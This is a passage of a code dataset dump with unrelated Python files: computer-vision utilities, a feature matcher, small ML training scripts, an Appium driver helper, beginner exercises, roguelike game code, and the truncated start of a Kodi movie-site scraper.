None\n\n","sub_path":"drqn_model.py","file_name":"drqn_model.py","file_ext":"py","file_size_in_byte":1457,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"369820609","text":"\"\"\"\n@author: Payam Nikdel\n\"\"\"\nimport numpy as np\nimport cv2\nimport math\n\nclass Visualize:\n    def __init__(self):\n        self.objects = {}\n        self.timer = 0\n        self.MAX_time = 20\n        self.RADIUS = 10\n\n        self.colour = [(255, 0, 0), (0, 0, 255), (60, 179, 113), (238, 130, 238), (106, 90, 205), (255, 165, 0),\n                       (32, 23, 133), (255, 208, 34), (255, 99, 71), (87, 99, 71), (87, 255, 71), (87, 159, 177),\n                       (0, 70, 58), (0, 215, 255), (184, 0, 255), (184, 0, 64), (184, 90, 64), (85, 90, 129)]\n        self.font = cv2.FONT_HERSHEY_PLAIN\n\n    def rectangle(self, img, pt1, pt2, idx):\n        cv2.rectangle(img, pt1, pt2, self.colour[idx % len(self.colour)], 2)\n\n    def put_text(self, image, txt, pos):\n        cv2.putText(image, txt, pos, self.font, 1, (255, 255, 255), 1, cv2.LINE_AA)\n\n    def heat_map_circle(self, image, point_center):\n        start_point = (max(point_center[0] - self.RADIUS, 0), max(point_center[1] - self.RADIUS, 0))\n        end_point = (\n        min(point_center[0] + self.RADIUS, image.shape[1] - 1), min(point_center[1] + self.RADIUS, image.shape[0] - 1))\n        for x in range(start_point[0], end_point[0] + 1):\n            for y in range(start_point[1], end_point[1] + 1):\n                distance = self.euclideanDistance(point_center, (x, y), self.RADIUS)\n                if distance != -1:\n                    if (image[y, x, 0] + ((self.RADIUS - distance) / self.RADIUS) * 200 < 255):\n                        image[y, x, 0] += ((self.RADIUS - distance) / self.RADIUS) * 200\n                    else:\n                        image[y, x, 0] = 255\n        return image\n\n    def heat_map_rectangle(self, id, canvas):\n        temp = np.zeros(canvas.shape, np.uint8)\n        self.draw_line(id, temp, color=(10,10,10), thicknfess=20, start_distance=20)\n        canvas = temp + canvas\n\n        return canvas\n\n    def euclideanDistance(self, center, point, radius):  # returns a float\n        distance = math.sqrt((float(center[0]) - point[0]) ** 2 + (float(center[1]) - point[1]) ** 2)\n        if distance > radius:\n            return -1\n        else:\n            return distance\n\n    def draw_line(self, id, canvas, color = None, thickness=3, start_distance = 0):\n        if (self.objects[id][0] == -1 or self.objects[id][1] == -1):\n            return canvas\n        color = self.objects[id][4] if color is None else color\n        distance = math.sqrt((self.objects[id][3]- self.objects[id][1]) ** 2 + (self.objects[id][2] - self.objects[id][0]) ** 2)\n        if (distance == 0):\n            return canvas\n        t = start_distance/distance\n        # m = (self.objects[id][3]- self.objects[id][1])/ (self.objects[id][2] - self.objects[id][0])\n        # x = self.objects[id][0] + start_distance / math.sqrt(1+m*m)\n        # y = m*(x-self.objects[id][0])+self.objects[id][1]\n        x = (1 - t) * self.objects[id][0] + t * self.objects[id][2]\n        y = (1 - t) * self.objects[id][1] + t * self.objects[id][3]\n        cv2.line(canvas, (int(x), int(y)), (self.objects[id][2], self.objects[id][3])\n                 , color, thickness)\n        return canvas\n\n    def add_points(self, trackers):\n        self.timer += 1\n        for d in trackers:\n            d = d.astype(np.int32)\n            if d[4] in self.objects and self.timer - self.objects[d[4]][5] < self.MAX_time:\n                prev = self.objects[d[4]]\n                self.objects[d[4]] = \\\n                    (prev[2], prev[3], (d[0]+d[2])/2, (d[1]+d[3])/2, self.colour[d[4] % len(self.colour)], self.timer)\n            else:\n                self.objects[d[4]] = (-1, -1, (d[0]+d[2])/2, (d[1]+d[3])/2, self.colour[d[4] % len(self.colour)], self.timer)","sub_path":"visualize.py","file_name":"visualize.py","file_ext":"py","file_size_in_byte":3698,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"42366940","text":"import cv2\nimport numpy as np\nimport random\n\nclass Match(object):\n    def __init__(self, key_1, des_1, key_2, des_2, dis):\n        self.key_1 = key_1\n        self.key_2 = key_2\n        self.des_1 = des_1\n        self.des_2 = des_2\n        self.dis = dis\n\n    def __str__(self):\n        return str(self.dis)\n\nclass Matcher():\n    def __init__(self):\n        self.sift = cv2.xfeatures2d.SIFT_create()\n\n    def extract_keypoint_and_features(self, image):\n        gray = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\n        return self.sift.detectAndCompute(gray, None)\n\n    def match(self, image_1, image_2, thres=300):\n        keypoints_1, descriptors_1 = self.extract_keypoint_and_features(\n            image_1)\n        keypoints_2, descriptors_2 = self.extract_keypoint_and_features(\n            image_2)\n        des_matches = list()\n        for keypoint_1, descriptor_1 in zip(keypoints_1, descriptors_1):\n            min_dis = 1.7976931348623157e+308\n            vec_1 = np.array(descriptor_1)\n            for keypoint_2, descriptor_2 in zip(keypoints_2, descriptors_2):\n                vec_2 = np.array(descriptor_2)\n                dis = np.linalg.norm(vec_1 - vec_2)\n                if dis < min_dis:\n                    min_dis = dis\n                    des_2 = descriptor_2\n                    key_2 = keypoint_2\n            des_matches.append(\n                Match(keypoint_1, descriptor_1, key_2, des_2, min_dis))\n        result = [match for match in des_matches if match.dis < thres]\n        result = sorted(result, key=lambda x: x.dis)\n        return result\n\n    def concate_image(self, img1, img2):\n        shape1 = img1.shape\n        shape2 = img2.shape\n\n        new_width = shape1[1] + shape2[1]\n        new_height = max(shape1[0], shape2[0])\n\n        res = np.zeros((new_height, new_width, 3), dtype=np.uint8)\n        res[0: shape1[0], 0: shape1[1]] = img1\n        res[0: shape2[0], shape1[1]: new_width] = img2\n        return res\n\n    def draw_match(self, img3, match, color, shift):\n        point_1 = match.key_1.pt\n        point_2 = match.key_2.pt\n        col = shift\n\n        point_1 = (np.float32(point_1[0]), np.float32(point_1[1]))\n        point_2 = (np.float32(point_2[0] + col), np.float32(point_2[1]))\n        cv2.line(img3, point_1, point_2, color, 1)\n\n    def draw_key_point(self, img3, match, shift):\n        col = shift\n        keypoint_1 = (np.float32(\n            match.key_1.pt[0]), np.float32(match.key_1.pt[1]))\n        keypoint_2 = (np.float32(\n            match.key_2.pt[0] + col), np.float32(match.key_2.pt[1]))\n\n        cv2.circle(img3, keypoint_1, 5, (255, 255, 255))\n        cv2.circle(img3, keypoint_2, 5, (255, 255, 255))\n\n    def draw_result(self, img1, img2, match_result, number_of_points=50,\n                    reduce_points=False, inliers=None):\n        img3 = self.concate_image(img1, img2)\n        if reduce_points:\n            if len(match_result) < number_of_points:\n                match_result = match_result[:number_of_points]\n        for match in match_result:\n            self.draw_key_point(img3, match, img1.shape[1])\n            if inliers is not None and match in inliers:\n                self.draw_match(img3, match, (0, 255, 0), img1.shape[1])\n            elif inliers is not None and match not in inliers:\n                self.draw_match(img3, match, (0, 0, 255), img1.shape[1])\n            else:\n                self.draw_match(img3, match, (255, 0, 255), img1.shape[1])\n        return img3\n\n    def show_result_image(self, img, name=\"result\"):\n        cv2.imshow(name, img)\n        cv2.waitKey(0)\n        cv2.destroyAllWindows()\n\n    def cal_distance(self, match, h):\n        mat_1 = np.transpose(np.matrix([match[0], match[1], 1]))\n        mat_2 = np.transpose(np.matrix([match[2], match[3], 1]))\n        estimate_p2 = np.dot(h, mat_1)\n\n        estimate_p2 = estimate_p2 / estimate_p2.item(2)\n        error = mat_2 - estimate_p2\n        return np.linalg.norm(error)\n\n    def find_homography(self, pairs):\n        A = list()\n        for pair in pairs:\n            p1 = (pair[0], pair[1])\n            p2 = (pair[2], pair[3])\n            i_1 = [p1[0], p1[1], 1, 0, 0, 0, -\n            p2[0] * p1[0], -p2[0] * p1[1], -p2[0]]\n            i_2 = [0, 0, 0, p1[0], p1[1], 1, -\n            p2[1] * p1[0], -p2[1] * p1[1], -p2[1]]\n            A.append(i_1)\n            A.append(i_2)\n\n        matrix_A = np.matrix(A)\n        u, s, v = np.linalg.svd(matrix_A)\n        homo = np.reshape(v[8], (3, 3))\n        return homo\n\n    def ransac(self, match_pairs, inlier_thres=0.65):\n        correspondence_list = list()\n        for match in match_pairs:\n            (x1, y1) = match.key_1.pt\n            (x2, y2) = match.key_2.pt\n            correspondence_list.append([x1, y1, x2, y2])\n        max_inliers = []\n        homo_final = None\n        for i in range(1000):\n            temp = list()\n            pair_1 = correspondence_list[random.randrange(\n                0, len(correspondence_list))]\n            pair_2 = correspondence_list[random.randrange(\n                0, len(correspondence_list))]\n            pair_3 = correspondence_list[random.randrange(\n                0, len(correspondence_list))]\n            pair_4 = correspondence_list[random.randrange(\n                0, len(correspondence_list))]\n            temp.append(pair_1)\n            temp.append(pair_2)\n            temp.append(pair_3)\n            temp.append(pair_4)\n            homo = self.find_homography(temp)\n            inliers = []\n            for i in range(len(correspondence_list)):\n                dis = self.cal_distance(correspondence_list[i], homo)\n                if dis < 5:\n                    inliers.append(match_pairs[i])\n            if len(inliers) > len(max_inliers):\n                max_inliers = inliers\n                homo_final = homo\n            if len(max_inliers) > len(correspondence_list) * inlier_thres:\n                break\n        return max_inliers, homo_final\n\n    def feature_matching(self, image_left, image_right, show_result=True,\n                         with_homo=True):\n        match = self.match(image_left, image_right)\n        if len(match) < 4:\n            return [], None\n        inliers, homo = self.ransac(match)\n        if show_result:\n            if with_homo:\n                result = self.draw_result(\n                    image_left, image_right, match, inliers=inliers)\n            else:\n                result = self.draw_result(image_left, image_right, match)\n            self.show_result_image(result)\n        return inliers, homo\n\n    def feature_matching_using_opencv(self, image_1,\n                                      image_2,\n                                      show_result=True):\n        kps1, des1 = self.extract_keypoint_and_features(image_1)\n        kps2, des2 = self.extract_keypoint_and_features(image_2)\n        kps1 = np.float32([kp.pt for kp in kps1])\n        kps2 = np.float32([kp.pt for kp in kps2])\n\n        matcher = cv2.BFMatcher()\n        raw_matches = matcher.match(des1, des2)\n        raw_matches = sorted(raw_matches, key=lambda x: x.distance)\n        matches = []\n        for m in raw_matches:\n            matches.append((m.trainIdx, m.queryIdx))\n        if len(matches) > 4:\n            ptsA = np.float32([kps1[i] for (_, i) in matches])\n            ptsB = np.float32([kps2[i] for (i, _) in matches])\n            H, status = cv2.findHomography(ptsA, ptsB, cv2.RANSAC, 4.0)\n\n            if show_result:\n                img3 = self.concate_image(image_1, image_2)\n                for ((trainIdx, queryIdx), s) in zip(matches, status):\n                    ptA = (np.float32(kps1[queryIdx][0]),\n                           np.float32(kps1[queryIdx][1]))\n                    ptB = (np.float32(\n                        kps2[trainIdx][0] + image_1.shape[1]),\n                           np.float32(kps2[trainIdx][1]))\n                    if s == 1:\n                        cv2.line(img3, ptA, ptB, (0, 255, 0), 1)\n                    else:\n                        cv2.line(img3, ptA, ptB, (0, 0, 255), 1)\n                self.show_result_image(img3)\n        return H\n","sub_path":"matcher.py","file_name":"matcher.py","file_ext":"py","file_size_in_byte":8061,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"17244261","text":"from XRDTools.FormFactor import ITCFct\nimport numpy as np\n\nNbFct = ITCFct('Nb')\nNFct = ITCFct('N')\n\nlamb = 0.15406\nq = 2*np.pi/lamb\n\nprint(q)\n\n# print(NbFct(0),NbFct(q/10))\n# print(NFct(0),NFct(q/10))\n\n","sub_path":"Tests/test_FormFactor.py","file_name":"test_FormFactor.py","file_ext":"py","file_size_in_byte":202,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"169954201","text":"import utils as u\nimport os\nimport torch\n#erase\nimport time\nimport tarfile\nimport itertools\nimport numpy as np\n\n\nclass Elliptic_Temporal_Dataset():\n\tdef __init__(self,args):\n\t\targs.elliptic_args = u.Namespace(args.elliptic_args)\n\n\t\tdata = np.load('data/brain/Brain_5000nodes.npz')\n\n\t\tself.nodes_labels_times = self.load_node_labels(data)\n\n\t\tself.edges = self.load_transactions(data)\n\n\t\tself.nodes, self.nodes_feats = self.load_node_feats(data)\n\n\tdef load_node_feats(self, data):\n\t\t# data = u.load_data_from_tar(elliptic_args.feats_file, tar_archive, starting_line=0)\n\t\tfeatures = data['attmats']\n\t\tnodes_feats = []\n\t\tfor i in range(12):\n\t\t\tnodes_feats.append(torch.FloatTensor(features)[:, i])\n\n\t\tself.num_nodes = 5000\n\t\tprint(self.num_nodes)\n\t\tself.feats_per_node = len(nodes_feats[0])\n\n\t\treturn nodes_feats, nodes_feats\n\n\n\tdef load_node_labels(self, data):\n\t\t# labels = u.load_data_from_tar(elliptic_args.classes_file, tar_archive, replace_unknow=True).long()\n\t\t# times = u.load_data_from_tar(elliptic_args.times_file, tar_archive, replace_unknow=True).long()\n\t\tlcols = u.Namespace({'nid': 0,\n\t\t\t\t\t\t\t 'label': 1})\n\t\t# tcols = u.Namespace({'nid':0, 'time':1})\n\n\n\t\tlabels = data['labels']\n\n\t\tnodes_labels_times =[]\n\t\tfor i in range(len(labels)):\n\t\t\tlabel = labels[i].tolist().index(1)\n\t\t\tnodes_labels_times.append([i, label])\n\n\t\tnodes_labels_times = torch.LongTensor(nodes_labels_times)\n\n\t\treturn nodes_labels_times\n\n\tdef load_transactions(self, data):\n\t\tadj = data['adjs']\n\n\t\ttcols = u.Namespace({'source': 0,\n\t\t\t\t\t\t\t 'target': 1,\n\t\t\t\t\t\t\t 'time': 2})\n\t\t\n\t\tdata = []\n\n\t\tt = 0\n\t\tfor graph in adj:\n\t\t\tfor i in range(len(graph)):\n\t\t\t\ttemp = np.concatenate((np.ones(len(np.where(graph[i] == 1)[0])).reshape(-1,1),np.where(graph[i] == 1)[0].reshape(-1,1), np.ones(len(np.where(graph[i] == 1)[0])).reshape(-1,1) * t) , 1).astype(int).tolist()\n\t\t\t\tdata.extend(temp)\n\t\t\tt += 1\n\n\t\tdata= torch.LongTensor(data)\n\n\t\tself.max_time = torch.FloatTensor([11])\n\t\tself.min_time = 0\n\n\t\tprint(data.size(0))\n\n\t\treturn {'idx': data, 'vals': torch.ones(data.size(0))}\n","sub_path":"Brain.py","file_name":"Brain.py","file_ext":"py","file_size_in_byte":2045,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"40776393","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport h5py\nfrom sklearn import metrics\nimport seaborn as sn\n\n#Activation Function\ndef sigmoid(x):\n    y = 1 / (1 + np.exp(-x))\n    return y\n\ndef sigmoid_derivative(x):\n    y = sigmoid(x) * (1 - sigmoid(x))\n    return y\n\ndef relu(x):\n    return np.maximum(0, x)\n\ndef relu_derivative(x):\n    x[x <= 0] = 0\n    x[x > 0] = 1\n    return x\n\ndef cost(m, y, output):\n    return (-1) * (1/m) * (np.sum((y * np.log(output)) + ((1 - y) * (np.log(1 - output)))))\n\ndef cost_derivative(m, y1, y2):\n    return (-1/m) * ((y1/y2) + (y1-1) * (1/(1-y2)))\n\ndef flatten(x):\n    return x.reshape(x.shape[0], -1).T\n\nclass NeuralNetwork:\n    def __init__(self, X_train, y_train, X_test, y_test, learning_rate, epochs):\n        self.input = X_train\n        self.y = y_train\n        self.input_test = X_test\n        self.test_label = y_test\n        self.m = X_train.shape[1]\n        self.learning_rate = learning_rate\n        self.epochs = epochs\n        self.Loss_list = []\n        self.epochs_list = []\n        self.activation_value = []\n\n    def weight_init(self):\n        self.w = np.random.randn(self.input.shape[0], 1) * np.sqrt(2.0 / self.input.shape[1])\n\n        return self.w\n\n    def bias_init(self):\n        self.b = 0.1\n        self.bw = np.zeros((1, 1))\n        return self.bw\n\n    def feedforward(self, i):\n\n        if i == 0:\n            self.w = self.weight_init()\n            self.b = self.bias_init()\n\n        self.z = np.dot(self.w.T, self.input) + self.b * self.bw\n\n        self.output = sigmoid(self.z)\n\n        self.cost = (-1) * (1/self.m) * (np.sum((self.y * np.log(self.output)) + ((1 - self.y) * (np.log(1 - self.output)))))\n        return self.output, self.cost\n\n    def backpropogation(self):\n        dw = np.dot((cost_derivative(self.m, self.y, self.output) * sigmoid_derivative(self.z)), self.input.T).T\n        db = np.sum(cost_derivative(self.m, self.y, self.output) * sigmoid_derivative(self.z))\n\n        self.w = self.w - self.learning_rate * dw\n        self.bw = self.bw - self.learning_rate * db\n        return self.w,  self.bw\n\n    def propogation(self, i):\n        self.a, self.cost = self.feedforward(i)\n        self.w, self.bw = self.backpropogation()\n        return self.a, self.cost, self.w, self.bw\n\n    def fit(self):\n\n        for i in range(self.epochs):\n\n            self.a, self.cost, self.w, self.b = self.propogation(i)\n\n            print('epochs:' + str(i) + \" \"\n                  \"| Loss:\" + str(self.cost) + \" \"\n                  \"| Accuracy: {} %\".format(100 - np.mean(np.abs(self.a - self.y)) * 100))\n\n            if i % 100 == 0:\n\n                self.activation_value.append(self.a.mean())\n                self.Loss_list.append(self.cost)\n                self.epochs_list.append(i)\n\n        #Plotting Loss\n        Loss_array = np.array(self.Loss_list)\n        y_loss = Loss_array.reshape(-1, 1)\n        x_epochs = np.array(self.epochs_list).reshape(-1, 1)\n\n        plt.plot(x_epochs, y_loss)\n        plt.xlabel('epochs')\n        plt.ylabel('Loss')\n\n        fig1 = plt.gcf()\n        plt.show()\n        fig1.savefig('epochs_vs_Loss.png')\n\n        # Plotting activation\n        activation_value = np.array(self.activation_value)\n        activation_value = activation_value.reshape(-1, 1)\n        x_epochs = np.array(self.epochs_list).reshape(-1, 1)\n\n        plt.plot(x_epochs, activation_value)\n        plt.xlabel('x_epochs')\n        plt.ylabel('activation_value')\n\n        fig2 = plt.gcf()\n        plt.show()\n        fig2.savefig('epochs_vs_activation_value.png')\n\n        print(\"Training accuracy: {} %\".format(100 - np.mean(np.abs(self.a - self.y)) * 100))\n\n        return self.w, self.b\n\n    def predict(self, x, threshold):\n\n        probablity = sigmoid(np.dot(self.w.T, x) + self.b * self.bw)\n\n        probablity[probablity <= threshold] = 0\n        probablity[probablity > threshold] = 1\n\n        y_predicted = probablity.astype(int)\n\n        return y_predicted\n\n    def confusion_matrix(self, y_test, y_predicted):\n\n        y_predicted = np.squeeze(y_predicted)\n        y_test = np.squeeze(y_test)\n        cm = metrics.confusion_matrix(y_test, y_predicted)\n\n        plt.figure(figsize=(10, 7))\n        sn.heatmap(cm, annot=True, fmt='d')\n        plt.xlabel(\"Predicted\")\n        plt.ylabel(\"Truth\")\n        plt.show()\n\n    def evaluate(self, y_test, y_predicted):\n\n        y_predicted = np.squeeze(y_predicted)\n        y_test = np.squeeze(y_test)\n        cm = metrics.confusion_matrix(y_test, y_predicted)\n\n        TP = cm[0, 0]\n        FP = cm[0, 1]\n        FN = cm[1, 0]\n        TN = cm[1, 1]\n\n        accuracy = (TP + TN) / float(TP + TN + FP + FN)\n        print('Testing accuracy: {} %'.format(accuracy*100))\n\n        precision = TP / (TP + FP)\n        print('Precision: {} %'.format(precision*100))\n\n        recall = TP / (TP + FN)\n        print('Recall: {} %'.format(recall*100))\n\n        f1_score = 2 * ((precision * recall)/(precision + recall))\n        print('F1_score: {} %'.format(f1_score * 100))\n\ndef load_dataset():\n    train_dataset = h5py.File('datasets/train_catvnoncat.h5', \"r\")\n    train_set_x_orig = np.array(train_dataset[\"train_set_x\"][:])  # your train set features\n    train_set_y_orig = np.array(train_dataset[\"train_set_y\"][:])  # your train set labels\n\n    test_dataset = h5py.File('datasets/test_catvnoncat.h5', \"r\")\n    test_set_x_orig = np.array(test_dataset[\"test_set_x\"][:])  # your test set features\n    test_set_y_orig = np.array(test_dataset[\"test_set_y\"][:])  # your test set labels\n\n    classes = np.array(test_dataset[\"list_classes\"][:])  # the list of classes\n\n    train_set_y_orig = train_set_y_orig.reshape((1, train_set_y_orig.shape[0]))\n    test_set_y_orig = test_set_y_orig.reshape((1, test_set_y_orig.shape[0]))\n\n    return train_set_x_orig, train_set_y_orig, test_set_x_orig, test_set_y_orig, classes\n\nif __name__ == '__main__':\n\n    X_train, y_train, X_test, y_test, classes = load_dataset()\n\n    X_train_flatten = flatten(X_train)\n    X_test_flatten = flatten(X_test)\n\n    X_train = X_train_flatten / 255\n    X_test = X_test_flatten / 255\n\n    model = NeuralNetwork(X_train, y_train, X_test, y_test, epochs=5000, learning_rate=0.01)\n    model.fit()\n\n    y_predicted = model.predict(X_test, threshold=0.3)\n    #print('y_predicted: ' + str(y_predicted))\n    #print('y_test_label: ' + str(y_test))\n    #print('y_test: ' + str(classes[np.squeeze(y_test[:, 49])].decode('utf-8')))\n\n    model.confusion_matrix(y_test, y_predicted)\n\n    model.evaluate(y_test, y_predicted)","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6499,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"311255085","text":"import os\n\nfrom appium import webdriver\n\n\nclass Utilll():\n\n    @staticmethod\n    def get_driver(platform):\n        if platform == \"android\":\n            caps = {\n                \"platformName\": \"android\",\n                \"platformVersion\": \"9.0\",\n                \"deviceName\": \"Redmi\",\n                #\"deviceId\": \"d91bcc76\",\n                \"deviceId\": \"febeuwguzlfu7ppb\",\n                \"appPackage\": \"com.whatsapp\",\n                \"appActivity\": \"com.whatsapp.HomeActivity\",\n                \"noReset\": \"true\"\n            }\n            driver = webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\", caps)\n            #driver.find_element_by_class_name().get_attribute()\n            return driver\n        elif platform == \"IOS\":\n            app = os.path.join(os.path.dirname(__file__),\n                               'TableSearchwithUISearchController/Swift',\n                               'Search.swift.app')\n            app = os.path.abspath(app)\n            caps = {\n                'app': app,\n                'platformName': 'iOS',\n                'platformVersion': '9.2',\n                'deviceName': 'iPhone 5s',\n                'bundleId':'com.example.apple-samplecode.Search-swift'\n            }\n            driver = webdriver.Remote(\"http://127.0.0.1:4723/wd/hub\", caps)\n            return driver\n\n","sub_path":"g_utilities.py","file_name":"g_utilities.py","file_ext":"py","file_size_in_byte":1311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"4263734","text":"dic1={1:10, 2:20}\ndic2={3:30,2:40}\ndic3={5:50,6:60}\ndic4={}\nfor i,j in dic1.items():\n    for x,y in dic2.items():\n        if i==x:\n            dic4[i]=(j+y)\n            print(dic4)\n        dic4.update(dic1)\n        dic4.update(dic2)\n        dic4.update(dic3)\n#adding two dictionaries\na={'a': 100, 'b': 200, 'c':300}\nb={'a': 300, 'b': 200, 'd':400}\nfor i in a:\n    if i in b:\n        b[i]=a[i]+b[i]\n    else:\n        b[i]=a[i]\nprint(b)","sub_path":"numsum1.py","file_name":"numsum1.py","file_ext":"py","file_size_in_byte":434,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"132332644","text":"import tcod as libtcod\nfrom render_functions import RenderOrder\nfrom game_states import GameStates\nfrom game_messages import Message\nfrom messages.deaths import get_generic_death\nfrom global_operations import reset_game\n\n\ndef kill_player(player):\n    player.char = '%'\n    player.color = libtcod.dark_red\n    reset_game()\n\n    return Message(get_generic_death().format(player.first_name.capitalize()), libtcod.red), GameStates.PLAYER_DEAD\n\n\ndef kill_monster(monster):\n    death_message = Message(get_generic_death().format(monster.first_name.capitalize()), libtcod.orange)\n\n    monster.char = '%'\n    monster.color = libtcod.dark_red\n    monster.blocks = False\n    monster.fighter = None\n    monster.ai = None\n    monster.first_name = 'Remains of ' + monster.first_name.capitalize()\n    monster.render_order = RenderOrder.CORPSE\n\n    return death_message","sub_path":"death_functions.py","file_name":"death_functions.py","file_ext":"py","file_size_in_byte":854,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"523127481","text":"#========================\n# Dice Game for Python\n#========================\n# Lab 3\n# Ryan Sandoval\n\n\nfrom random import randint\n\noutcomes =[\n    \"Do action A\",\n    \"Do action B\",\n    \"Do action C\",\n    \"Do action D\",\n    \"Do action E\",\n    \"Do action F\",\n]\n\n# generate the pseudo - random number\nnumber = randint (1 ,len(outcomes))\n\n# display the number\nprint(\"\"\"\nResults\n=======\nYour Number is {}\nIts respective action is: {}\n\"\"\".format(number, outcomes[number - 1]))\n","sub_path":"python/dice.py","file_name":"dice.py","file_ext":"py","file_size_in_byte":469,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"386414366","text":"import pandas as pd\r\nfrom sklearn.model_selection import train_test_split\r\nfrom keras.models import Sequential, Model\r\nfrom keras.layers import Dense, Dropout, Input\r\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler, OneHotEncoder, LabelEncoder\r\nfrom keras.utils import np_utils\r\nimport numpy as np\r\nimport os\r\n\r\nfile_dir = os.path.dirname(\"D:/LTK_AI_Study/Machine_Learning/Data/\")\r\niris_data = pd.read_csv(file_dir+\"/iris.csv\", encoding='utf-8', names=['SepalLength','SepalWidth','PataLength','PatalWidth','Name'])\r\n# print(iris_data)\r\n# print(iris_data.shape)\r\n# print(type(iris_data))\r\n\r\n# 레이블로 자르기\r\ny = iris_data.loc[:, 'Name']\r\nx = iris_data.loc[:, ['SepalLength', 'SepalWidth', 'PataLength', 'PatalWidth']]\r\n\r\n# scaler = MinMaxScaler()\r\nscaler = StandardScaler()\r\nscaler.fit(x)\r\nx = scaler.transform(x)\r\n\r\n# 라벨 인코더 변환 후 원 핫 인코딩\r\nchange_param_title = ['Iris-setosa','Iris-versicolor','Iris-virginica']\r\nlable = LabelEncoder()\r\nlable.fit(change_param_title)\r\ny = lable.transform(y)\r\n# 원핫 인코딩 변환\r\ny = np_utils.to_categorical(y)\r\n# print(y)\r\n# print(y)\r\n# 열로 자르기\r\n# x = iris_data.iloc[:, 4]\r\n# y = iris_data.iloc[:,0:4]\r\n\r\nx_train, x_test, y_train, y_test = train_test_split(x, y, test_size=0.2, train_size = 0.8, shuffle=True)\r\n# scaler.fit(x_train)\r\n# x_train = scaler.transform(x_train)\r\n# 학습 하기\r\nmodel = Sequential()\r\ndef build_network(keep_prob=0.5, optimizer='adam'):\r\n    inputs = Input(shape = (4,), name= 'inputs')\r\n    x = Dense(128, activation='relu', name='hidden1')(inputs)\r\n    x = Dense(32, activation='relu', name='hidden2')(x)\r\n    x = Dense(32, activation='relu', name='hidden3')(x)\r\n    x = Dense(32, activation='relu', name='hidden4')(x)\r\n    x = Dense(16, activation='relu', name='hidden5')(x)\r\n    x = Dropout(keep_prob)(x)\r\n    prediction = Dense(3, activation='softmax', name = 'output')(x)\r\n    model = Model(inputs=inputs, outputs = prediction)\r\n    model.compile(optimizer=optimizer, loss= 'categorical_crossentropy',metrics=['accuracy'])\r\n    return model\r\ndef create_hyperparameters():\r\n    batches = [1,2,3,4,5,6,7,8,9,10]\r\n    optimizers = ['rmsprop', 'adam', 'adadelta']\r\n    dropout = np.linspace(0.1, 0.3, 5)\r\n    return{\"batch_size\":batches, \"optimizer\":optimizers, \"keep_prob\":dropout}\r\n\r\nfrom keras.wrappers.scikit_learn import KerasClassifier\r\n\r\nmodel = KerasClassifier(build_fn= build_network, verbose=1)\r\nhyperparameters = create_hyperparameters()\r\n\r\nfrom sklearn.model_selection import RandomizedSearchCV\r\n\r\nsearch = RandomizedSearchCV(estimator=model,\r\n                            param_distributions=hyperparameters,\r\n                            n_iter=10, n_jobs=1, cv=3, verbose=1)\r\nsearch.fit(x_train, y_train)\r\n\r\nmodel = build_network(search.best_params_[\"keep_prob\"], search.best_params_['optimizer'])\r\nmodel.fit(x_train,y_train, epochs=200, batch_size = search.best_params_[\"batch_size\"])\r\nloss, acc = model.evaluate(x_test, y_test)\r\ny_pridect = model.predict(x_test)\r\ny_pridect = np.round(y_pridect).astype(int)\r\ny_pridect = np.argmax(y_pridect, axis=1)\r\ny_pridect = lable.inverse_transform(y_pridect)\r\nprint(search.best_params_)\r\nprint(acc)\r\nprint(y_pridect)","sub_path":"Day0807/M05_IRIS_Keras_HyperParameter.py","file_name":"M05_IRIS_Keras_HyperParameter.py","file_ext":"py","file_size_in_byte":3197,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"50"}
+{"seq_id":"620543057","text":"# -*- coding: utf-8 -*-\r\n\r\n'''\r\n    Exodus Add-on\r\n    Copyright (C) 2016 Exodus\r\n\r\n    This program is free software: you can redistribute it and/or modify\r\n    it under the terms of the GNU General Public License as published by\r\n    the Free Software Foundation, either version 3 of the License, or\r\n    (at your option) any later version.\r\n\r\n    This program is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the\r\n    GNU General Public License for more details.\r\n\r\n    You should have received a copy of the GNU General Public License\r\n    along with this program.  If not, see <http://www.gnu.org/licenses/>.\r\n'''\r\n\r\n\r\nimport re,urllib,urlparse,json,time\r\n\r\nfrom resources.lib.modules import cleantitle\r\nfrom resources.lib.modules import client\r\nfrom resources.lib.modules import cache\r\nfrom resources.lib.modules import directstream\r\n\r\n\r\nclass source:\r\n    def __init__(self):\r\n        self.domains = ['9movies.to']\r\n        self.base_link = 'http://9movies.to'\r\n        self.search_link = '/sitemap'\r\n\r\n\r\n    def movie(self, imdb, title, year):\r\n        try:\r\n            url = {'imdb': imdb, 'title': title, 'year': year}\r\n            url = urllib.urlencode(url)\r\n            return url\r\n        except:\r\n            return\r\n\r\n\r\n    def tvshow(self, imdb, tvdb, tvshowtitle, year):\r\n        try:\r\n            url = {'imdb': imdb, 'tvdb': tvdb, 'tvshowtitle': tvshowtitle, 'year': year}\r\n            url = urllib.urlencode(url)\r\n            return url\r\n        except:\r\n            return\r\n\r\n\r\n    def episode(self, url, imdb, tvdb, title, premiered, season, episode):\r\n        try:\r\n            if url == None: return\r\n\r\n            url = urlparse.parse_qs(url)\r\n            url = dict([(i, url[i][0]) if url[i] else (i, '') for i in url])\r\n            url['title'], url['premiered'], url['season'], url['episode'] = title, 